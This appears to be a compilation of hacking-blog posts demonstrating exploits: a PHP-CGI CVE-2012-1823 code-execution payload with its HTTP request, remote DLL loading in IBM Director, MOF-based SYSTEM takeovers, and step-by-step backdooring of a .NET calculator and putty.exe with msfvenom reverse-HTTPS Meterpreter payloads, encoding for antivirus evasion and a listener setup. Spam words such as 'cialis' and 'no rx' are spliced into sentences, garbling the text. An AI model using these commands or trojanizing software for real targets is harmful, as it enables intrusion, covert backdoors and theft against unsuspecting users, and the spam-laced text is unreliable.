Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823

The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.

For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.

Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.

One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.

The HTTP request sent, looks something similar to this:

“””
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: example.com
User-Agent: lwp-request/6.03 libwww-perl/6.04
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

<?php system(‘id’);die(); ?>

“””

The response to that was the server sending back the result of our command (id), so we know it works.

So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.

The following screenshot shows exploitation using Python.

PHP CGI Exploitation

Exploiting PHP-CGI bug with Python

So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).

Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.

Exploit code available here: Google Code – Insecurety Research

So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub :)

Remember, play nice out there.
 

CVE-2009-0880 IBM System Director Remote SYSTEM Exploit Demo.

IBM Systems Director has a Web Service listening on 6988/TCP. This service, malady the “CIM Server”, in versions prior to 5.20.3 SP2 is vulnerable to a directory traversal vulnerability, permitting loading of local DLL files and their execution. This is assigned CVE-2009-0880.

Executing Local DLL files? Not really all that interesting. However, no rx then our good friend @kingcope decided to take a look at this bug, and suddenly, it became VERY interesting.

Because of how Windows treats files, you can not only load a LOCAL DLL file, but you can load a REMOTE DLL file, if said DLL file is made available over a WebDAV share. Essentially turning “Execute some file on the remote box” into “Remote code execution with SYSTEM privileges”.

How this exploit works, is it sends a specially crafted HTTP request to the CIM Listener service, telling it that it should totally load hackerhacker.dll because it is definately a legit DLL file to execute.

This software, being inherently silly, decides “Sure! Of course I will load this DLL file!” and loads the remote DLL file, executing whatever code is at its initialization routine (your reverse shell mayhaps?).

To make the whole party even more fun, the code is executed as SYSTEM, and no authentication whatsoever is needed to exploit this vulnerability.

The original exploit by Kingcope may be found here: http://isowarez.de/Exploits/IBMDirector.txt however he has disabled access to “wootwoot” DLL file, so I could not use his exploit code in the following demo. I ended up using the Metasploit module which was released shortly after his exploit came out.

What I find most interesting is that no one before Kingcope ever though about using a Webdav share to serve up a remotely loaded DLL. Perhaps now people will have to revise old bugs and write new, super effective exploits?

Without further ado, here is the demo!

Exploit Demo – FreeFloatFTPd Remote SYSTEM. Oppa Stuxnet Style!

Ever since Kingcope released the “Stuxnet Style” MySQL exploit using .mof files to execute dropped binaries, illness there has been a rash of similar exploits cropping up – and I fully expect many more to come. This one is one of the interesting ones, as it demonstrates something extremely interesting. How improper FTP file access privileges can lead to trivial remote code execution.

This exploit works in an extraordinarily simple manner. The FreeFloat FTP Server is rife with security flaws. Not least the fact it has no authentication whatsoever, and drops one right into C: with privileges to write files as the SYSTEM user.

It uploads the binary (Meterpreter in the MSF exploit) to System32, then plants a .MOF file to execute it in the System32wbemmof directory, allowing Windoes Management Interface to execute it as SYSTEM – the same as the other exploits.

Essentially, you pop a SYSTEM shell within less than a minute.

I expect that future weeks will show us more and more “Stuxnet Style” exploits as this technique becomes more trendy, hence, “Oppa Stuxnet Style!”.

Without further ado, here is the video!

 

Exploit Demo – Windows MySQL Post Auth RCE using Stuxnet Technique

My previous post demonstrated the exploit @kingcope released, MySQLJackPot, that leveraged FILE privileges to take over a Windows MySQL server. That exploit worked by abusing the User Defined Function stuff.

This exploit goes a bit further, and is reliable on everything pre-Vista. It leverages the same technique used by Stuxnet’s MS-10-061 exploit, wherin arbritary file creation is turned into Remote Code Execution (under the context of the SYSTEM user) by dropping a binary and a .MOF file.

By using the INTO DUMPFILE method (assuming we have FILE privs on the remote server), we can create arbritary files with the permissions of the MySQL user, which just so happens to be NT AUTHORITY/SYSTEM.

So, we drop a binary (our payload) in System32 folder, and then drop a crafted .MOF file in System32\wbem\mof\. The Windows Task Scheduler (similar to CRON on Unix to my understanding) periodically scans this directory and executes any .MOF files in there. Our .MOF file executes our payload.

This is the same method that the MS-10-061 exploits use – by dropping a .MOF file in there along with a binary, the binary will be executed in short order, and et-viola: got shell.

Anyways, without further ado, here is the video of it in action. I ended up using the Metasploit module, as I did something nasty to my PERL installation while installing stuff from CPAN for another demo, and things started to “not work right”.

Injecting arbritary code into .NET Assemblies using ‘und3ath Injector’

Last night I was browsing a forum I frequent – http://trojanforge.com/ and came across a piece of code named “und3ath Injector” written by a user named und3ath. It claimed to be capable of injecting arbritary code into .NET assemblies without harming the original code – in short – a stealth backdooring tool for .NET executables.

The author’s article and release can be found on his blog here: http://und3ath.blogspot.fr/2012/10/source-d3ath-jector-mono-cecil-injector.html this guy is a very good .NET programmer, I expect he will come out with more awesome things soon :)

This, to me, was fascinating. What it does is it directly injects ‘evil code’ into the .net executable into one of the functions or forms that comprise the assembly, without altering the functionality of the original. It simply sneakily adds a “Little Extra”. The fact I fucking hate .NET with a passion meant I saw a hilarious extra “Evil” side to this! A trojanizer for .NET executables? AWESOME. I had trouble in the past injecting MSF payloads into .NET binaries without breaking the original binary.

The proof of concept tool – und3ath Injector – has two payloads. A Messagebox payload and a “Trojan Downloader” payload. The first is proof the damn thing works, the second a more “weaponized” payload for dropping malware or backdoors on a victim system.

One of the benefits of using a downloader instead of hiding a full backdoor in there is stealth – less modifications to the file, and less for an AV to sign on.

So, without further ado, I am going to inject a dropper into a .NET binary, and see does it function as planned. The dropper will download a Meterpreter payload from a remote server, execute the payload, and we will take it from there…

Before we do anything, we will generate our Metasploit Payload to run on the victim system and place in our webroot.

The following should do the trick…

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 LHOST=192.168.1.41 LPORT=443 >evil.exe

This creates the executable file “evil.exe” in our current working directory. The msfvenom command should be self explanatory, but if there is demand for it I will write an article later on using msfvenom. If you are capable of reading the f*cking manual you should get it :)

Creating the Meterpreter payload

Creating the Meterpreter payload

So we have our evil binary in /var/www/lulz ready to go. We can now move on to the main part of this article – backdooring .NET assemblies by “patching” them with extra .NET code.

The victim .NET binary I chose to use is a simple calculator application. I found it online and decided it made a good enough victim for demonstration purposes.

Here is a screenshot of it running, for those of you who do not know what a calculator is :P

.NET calculator

.NET calculator

Now. We open ‘und3ath Injector’ and select “Load File”. Use this dialogue to select the binary you wish to backdoor.

Selecting a file to backdoor

Selecting a file to backdoor

Next we click on any of the parts that we think would be good to inject code into (I normally choose the main class for some odd reason, though you could select an on click event…)

When we click on this the “Payloader” menu comes up. We insert our information/selection here.

Create Payload

Create the Payload

When you click inject, it starts creating a new binary for you to use and you save it.

Saving the Backdoor

Saving the Backdoor

Now, we have our evil binary ready to deploy, and have our Metasploit listener ready. We run the modified binary on the victim host and haz shell :)

g0tsh3ll, again

Got a shell =D

So, as you an see, it is relatively trivial to inject arbritary code into a .NET assembly without affecting the existing functionality of the software.

Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

wget putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Backdoored Putty.exe running on victim host

Owned!

Owned! Meterpreter executing on victim